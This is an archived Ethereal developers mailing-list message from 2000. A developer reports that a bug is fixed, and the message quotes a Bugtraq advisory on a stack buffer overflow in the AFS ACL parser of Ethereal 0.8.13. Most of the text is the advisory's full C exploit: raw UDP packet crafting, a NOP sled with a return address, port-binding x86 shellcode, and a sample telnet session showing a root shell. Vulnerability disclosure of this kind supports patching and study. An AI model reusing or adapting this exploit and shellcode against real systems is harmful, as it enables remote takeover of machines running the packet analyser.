Ethereal-dev: [Ethereal-dev] RE: [hacksware] Ethereal 0.8.13 AFS ACL parsing buffer overflow b
Note: This archive is from the project's previous web site, ethereal.com. This list is no longer active.
From: "Neulinger, Nathan R." <nneul@xxxxxxx>
Date: Mon, 20 Nov 2000 09:10:28 -0600
Nice of you to bother sending this to either me or the ethereal developers list. Jeez. This has been corrected in the latest ethereal CVS, and will be included in the next release. -- Nathan > -----Original Message----- > From: JW Oh [mailto:mat@xxxxxxxxxxx] > Sent: Saturday, November 18, 2000 6:37 AM > To: BUGTRAQ@xxxxxxxxxxxxxxxxx > Subject: [hacksware] Ethereal 0.8.13 AFS ACL parsing buffer > overflow bug > > > Bug Report > > 1. Name: Ethereal 0.8.13 AFS ACL parsing buffer overflow bug > 2. Release Date: 2000.11.18 > 3. Affected Application: > Ethereal 0.8.13(latest version) > http://www.ethereal.com/ > ethereal-web@xxxxxxxxxxxx > 4. Author: mat@xxxxxxxxxxxxx > 5. Type: Stack based buffer overflow > 6. Explanation > > There exists buffer overflow in AFS packet parsing routine > in ethereal 0.8.13. > > In function dissect_acl, > > packet-afs.c:1185 > char user[128]; > > packet-afs.c:1222 > for (i = 0; i < pos; i++) { > if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2) > return; > s += n; > ACLOUT(user,1,acl,n); > curoffset += n; > TRUNC(1); > } > > for (i = 0; i < neg; i++) { > if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2) > return; > s += n; > ACLOUT(user,0,acl,n); > curoffset += n; > if (s > end) > return; > } > > Buffer user can be overflowed with forged packet. > > 7. Exploits > > /* > Name: Ethereal 0.8.13 AFS ACL buffer overflow exploit > Author: > http://hacksware.com > mat@xxxxxxxxxxxxx > gcc -o sbo_ethereal sbo_ethereal.c > Usage: > ./sbo_ethereal <dest_addr> > dest_addr is the destination address of the host which > traffic the victim host running ethereal program can monitor. > > Greetz to: > Mastrippolito,Trino,s3ung,gumpjin,w00we_mc2,jgotts,luciano,etc... > > I used some network codes from synk4.c. > */ > > #include <signal.h> > #include <stdio.h> > #include <netdb.h> > #include <sys/types.h> > #include <sys/time.h> > #include <netinet/in.h> > #include <netinet/ip.h> > #include <linux/tcp.h> > #include <linux/udp.h> > > /*shell code from http://www.hack.co.za/c0de/linux-x86/portshell.c*/ > /* port binding shell on 36864*/ > > /* > * Linux/x86 > * TCP/36864 portshell (old, could be optimized further) > */ > > char c0de[] = > /* main: */ > "\xeb\x72" /* jmp callz > */ > /* start: */ > "\x5e" /* popl %esi > */ > > /* socket() */ > "\x29\xc0" /* subl %eax, %eax > */ > "\x89\x46\x10" /* movl %eax, > 0x10(%esi) */ > "\x40" /* incl %eax > */ > "\x89\xc3" /* movl %eax, %ebx > */ > "\x89\x46\x0c" /* movl %eax, > 0x0c(%esi) */ > "\x40" /* incl %eax > */ > "\x89\x46\x08" /* movl %eax, > 0x08(%esi) */ > "\x8d\x4e\x08" /* leal 0x08(%esi), > %ecx */ > "\xb0\x66" /* movb $0x66, %al > */ > "\xcd\x80" /* int $0x80 > */ > > /* bind() */ > "\x43" /* incl %ebx > */ > "\xc6\x46\x10\x10" /* movb $0x10, > 0x10(%esi) */ > "\x66\x89\x5e\x14" /* movw %bx, > 0x14(%esi) */ > "\x88\x46\x08" /* movb %al, > 0x08(%esi) */ > "\x29\xc0" /* subl %eax, %eax > */ > "\x89\xc2" /* movl %eax, %edx > */ > "\x89\x46\x18" /* movl %eax, > 0x18(%esi) */ > "\xb0\x90" /* movb $0x90, %al > */ > "\x66\x89\x46\x16" /* movw %ax, > 0x16(%esi) */ > "\x8d\x4e\x14" /* leal 0x14(%esi), > %ecx */ > "\x89\x4e\x0c" /* movl %ecx, > 0x0c(%esi) */ > "\x8d\x4e\x08" /* leal 0x08(%esi), > %ecx */ > "\xb0\x66" /* movb $0x66, %al > */ > "\xcd\x80" /* int $0x80 > */ > > /* listen() */ > "\x89\x5e\x0c" /* movl %ebx, > 0x0c(%esi) */ > "\x43" /* incl %ebx > */ > "\x43" /* incl %ebx > */ > "\xb0\x66" /* movb $0x66, %al > */ > "\xcd\x80" /* int $0x80 > */ > > /* accept() */ > "\x89\x56\x0c" /* movl %edx, > 0x0c(%esi) */ > "\x89\x56\x10" /* movl %edx, > 0x10(%esi) */ > "\xb0\x66" /* movb $0x66, %al > */ > "\x43" /* incl %ebx > */ > "\xcd\x80" /* int $0x80 > */ > > /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ > "\x86\xc3" /* xchgb %al, %bl > */ > "\xb0\x3f" /* movb $0x3f, %al > */ > "\x29\xc9" /* subl %ecx, %ecx > */ > "\xcd\x80" /* int $0x80 > */ > "\xb0\x3f" /* movb $0x3f, %al > */ > "\x41" /* incl %ecx > */ > "\xcd\x80" /* int $0x80 > */ > "\xb0\x3f" /* movb $0x3f, %al > */ > "\x41" /* incl %ecx > */ > "\xcd\x80" /* int $0x80 > */ > > /* execve() */ > "\x88\x56\x07" /* movb %dl, > 0x07(%esi) */ > "\x89\x76\x0c" /* movl %esi, > 0x0c(%esi) */ > "\x87\xf3" /* xchgl %esi, %ebx > */ > "\x8d\x4b\x0c" /* leal 0x0c(%ebx), > %ecx */ > "\xb0\x0b" /* movb $0x0b, %al > */ > "\xcd\x80" /* int $0x80 > */ > > /* callz: */ > "\xe8\x89\xff\xff\xff" /* call start > */ > "/bin/sh"; > > /* www.hack.co.za [7 August 2000]*/ > unsigned long getaddr (char *name) > { > struct hostent *hep; > > hep = gethostbyname (name); > if (!hep) > { > fprintf (stderr, "Unknown host %s\n", name); > exit (1); > } > return *(unsigned long *) hep->h_addr; > } > > unsigned short > ip_sum (u_short * addr, int len) > { > register int nleft = len; > register u_short *w = addr; > register int sum = 0; > u_short answer = 0; > > while (nleft > 1) > { > sum += *w++; > nleft -= 2; > } > if (nleft == 1) > { > *(u_char *) (&answer) = *(u_char *) w; > sum += answer; > } > sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ > sum += (sum >> 16); /* add carry */ > answer = ~sum; /* truncate to 16 bits */ > return (answer); > } > > void send_udp_segment (int raw_socket,struct iphdr *iphdr_p, > struct udphdr *udphdr_p, char *data, int dlen) > { > char buf[65536]; > struct > { /* rfc 793 udp pseudo-header */ > unsigned long saddr, daddr; > char mbz; > char ptcl; > unsigned short udpl; > } > ph; > > struct sockaddr_in sin; > > ph.saddr = iphdr_p->saddr; > ph.daddr = iphdr_p->daddr; > ph.mbz = 0; > ph.ptcl = IPPROTO_TCP; > ph.udpl = htons (sizeof (*udphdr_p) + dlen); > > memcpy (buf, &ph, sizeof (ph)); > memcpy (buf + sizeof (ph), udphdr_p, sizeof (*udphdr_p)); > memcpy (buf + sizeof (ph) + sizeof (*udphdr_p), data, dlen); > memset (buf + sizeof (ph) + sizeof (*udphdr_p) + dlen, 0, 4); > udphdr_p->check = ip_sum (buf, (sizeof (ph) + sizeof > (*udphdr_p) + dlen + 1) & ~1); > > memcpy (buf, iphdr_p,4*iphdr_p->ihl); > memcpy (buf + 4 * iphdr_p->ihl, udphdr_p, sizeof (*udphdr_p)); > memcpy (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p), data, dlen); > memset (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, 4); > > iphdr_p->check = ip_sum (buf, (4 * iphdr_p->ihl + sizeof > (*udphdr_p) + dlen + 1) & ~1); > memcpy (buf, iphdr_p, 4 * iphdr_p->ihl); > > sin.sin_family = AF_INET; > sin.sin_port = udphdr_p->dest; > sin.sin_addr.s_addr = iphdr_p->daddr; > > if (sendto(raw_socket, buf, 4 * iphdr_p->ihl + sizeof > (*udphdr_p) + dlen, 0, &sin,sizeof (sin)) < 0) > { > printf ("Error sending syn packet.\n"); > perror (""); > exit (1); > } > } > > unsigned long > send_udp_afs_data (int raw_socket,unsigned long src_addr, > unsigned short src_port, > unsigned long dst_addr, unsigned short dst_port) > { > struct iphdr iphdr_d; > struct udphdr udphdr_d; > > typedef unsigned int guint32; > typedef unsigned short guint16; > /*header from ethereal*/ > struct rx_header { > guint32 epoch; > guint32 cid; > guint32 callNumber; > guint32 seq; > guint32 serial; > u_char type; > #define RX_PACKET_TYPE_DATA 1 > #define RX_PACKET_TYPE_ACK 2 > #define RX_PACKET_TYPE_BUSY 3 > #define RX_PACKET_TYPE_ABORT 4 > #define RX_PACKET_TYPE_ACKALL 5 > #define RX_PACKET_TYPE_CHALLENGE 6 > #define RX_PACKET_TYPE_RESPONSE 7 > #define RX_PACKET_TYPE_DEBUG 8 > #define RX_PACKET_TYPE_PARAMS 9 > #define RX_PACKET_TYPE_VERSION 13 > u_char flags; > #define RX_CLIENT_INITIATED 1 > #define RX_REQUEST_ACK 2 > #define RX_LAST_PACKET 4 > #define RX_MORE_PACKETS 8 > #define RX_FREE_PACKET 16 > u_char userStatus; > u_char securityIndex; > guint16 spare; /* How clever: even > though the AFS */ > guint16 serviceId; /* header files > indicate that the */ > }; /* serviceId is > first, it's really */ > /* encoded _after_ > the spare field */ > /* I wasted a day > figuring that out! */ > struct rx_header rx_header_d; > int afs_data_len; > char *afs_data; > int data_len; > char *data_buffer; > > > iphdr_d.version = 4; > iphdr_d.ihl = 5; > iphdr_d.tos = 0; > iphdr_d.tot_len = sizeof (iphdr_d)+sizeof(udphdr_d); > iphdr_d.id = htons(545); > iphdr_d.frag_off = 0; > iphdr_d.ttl = 90; > iphdr_d.protocol = IPPROTO_UDP; > iphdr_d.check = 0; > iphdr_d.saddr = src_addr; > iphdr_d.daddr = dst_addr; > > udphdr_d.source = htons (src_port); > udphdr_d.dest = htons (dst_port); > udphdr_d.len = 2; > udphdr_d.check = 0; > > rx_header_d.epoch=htonl(0); > rx_header_d.cid=htonl(1); > rx_header_d.callNumber=htonl(2); > rx_header_d.seq=htonl(3); > rx_header_d.serial=htonl(4); > > rx_header_d.type=RX_PACKET_TYPE_DATA; > rx_header_d.flags=RX_CLIENT_INITIATED; > rx_header_d.userStatus=6; > rx_header_d.securityIndex=7; > rx_header_d.spare=htons(8); > rx_header_d.serviceId=htons(9); > > { > #define DATA_SIZE 600 //Data portion size > u_long datasize=htonl(DATA_SIZE); > afs_data_len=4*5+DATA_SIZE; > /* > UINT opcode > UINT volume > UINT vnode > UINT uniqifier > UINT datasize > > data section > pos(%d) neg (%d) > pos times*( user(%s), &acl(%d)) > neg times*( user(%s), &acl(%d)) > */ > > afs_data=(char *)calloc(1,afs_data_len); > if(afs_data) > { > u_long opcode=htonl(134); > int i; > int cur_pos; > #define CODE_LEN 300 > char code_buf[CODE_LEN]; > unsigned long esp=0x81c6f02; > #define RET_ADDR_POS 150 > int offset=RET_ADDR_POS+20; > > for(i=0;i<=RET_ADDR_POS;i+=4) > *(long *)&code_buf[i]=(unsigned long)esp+offset; > memset(code_buf+RET_ADDR_POS,0x90,CODE_LEN-RET_ADDR_POS); > //insert NOP CODES > memcpy(code_buf+CODE_LEN-strlen(c0de),c0de,strlen(c0de)); > > memcpy(afs_data,(char *)&opcode,sizeof(u_long)); > memcpy(afs_data+4*4,(char *)&datasize,sizeof(u_long)); > sprintf(afs_data+4*5,"%d %d %s %d",1,1,"hi",1); > > cur_pos=4*5+strlen(afs_data+4*5); > memcpy(afs_data+cur_pos,code_buf,CODE_LEN); > sprintf(afs_data+cur_pos+CODE_LEN," %d",1); > > data_len=sizeof(struct rx_header)+afs_data_len; > data_buffer=(char *)calloc(1,data_len); > if(data_buffer) > { > memcpy(data_buffer,(char *)&rx_header_d,sizeof(struct > rx_header)); > memcpy(data_buffer+sizeof(struct > rx_header),afs_data,afs_data_len); > send_udp_segment > (raw_socket,&iphdr_d,&udphdr_d,data_buffer,data_len); > free(data_buffer); > } > free(afs_data); > } > } > } > > main (int argc, char **argv) > { > u_short src_port, dst_port; > unsigned long src_addr, dst_addr; > int raw_socket; > > if(argc<2) > { > printf("%s dst_addr\n",argv[0]); > fflush(stdout); > exit(1); > } > src_addr = getaddr ("1.1.1.1"); > dst_addr = getaddr (argv[1]); > src_port = 10; > dst_port = 7000; > > raw_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); > if (raw_socket < 0) > { > perror ("socket (raw)"); > exit (1); > } > > send_udp_afs_data (raw_socket,src_addr, src_port, dst_addr, > dst_port); > } > > /* > If the attack was successful you can get in the system like this. > matt:~# telnet victim 36864 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > id; > uid=0(root) gid=0(root) > groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel > ),11(floppy) > > > */ > > ================================================= > | mat@xxxxxxxxxxxxx | > | http://hacksware.com | > ================================================= >
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